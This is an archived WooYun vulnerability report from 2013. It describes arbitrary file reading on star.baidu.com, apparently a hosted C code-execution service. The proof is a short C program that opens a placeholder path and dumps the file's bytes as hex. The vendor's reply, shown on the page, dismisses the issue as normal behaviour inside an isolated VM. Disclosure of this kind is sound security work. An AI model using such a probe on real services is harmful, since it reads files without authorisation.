当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2013-022624
漏洞标题：
star.baidu.com读取文件
相关厂商：
百度
漏洞作者：
囧思九千
提交时间：
2013-04-27 16:25
修复时间：
2013-04-27 16:38
公开时间：
2013-04-27 16:38
漏洞类型：
任意文件遍历/下载
危害等级：
中
自评Rank：
8
漏洞状态：
漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2013-04-27： 细节已通知厂商并且等待厂商处理中
2013-04-27： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

fopen读权限限制不严。

详细说明：

QQ截图20130427120332.png

漏洞证明：

#include <stdlib.h>
#include <dirent.h>
#include <sys/stat.h>
#include <string.h>
int main()
{
    int fsize = 0;
    FILE *fp = fopen("文件路径", "r");
    if (fp)
    {
        fseek(fp, 0, SEEK_END);  
        fsize = ftell(fp); 
        //printf("文件%s可读  长度:%d\n", fp ? "" : "不", fsize);
        char *buf = (char*)malloc(fsize);
        fseek(fp, 0, 0); 
        fread(buf, 1, fsize, fp);
        for (int i = 0;i < fsize;i++)
        {
            if (i % 0x10 == 0)
            {
                //printf("\n");
            }
            printf("\\x%02X", buf[i] & 0xFF);
        }
    }
    return 0;
}


修复方案：

版权声明：转载请注明来源 囧思九千@乌云

>

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2013-04-27 16:38

厂商回复：

这个是业务正常需求，虚拟机已做隔离。

最新状态：

暂无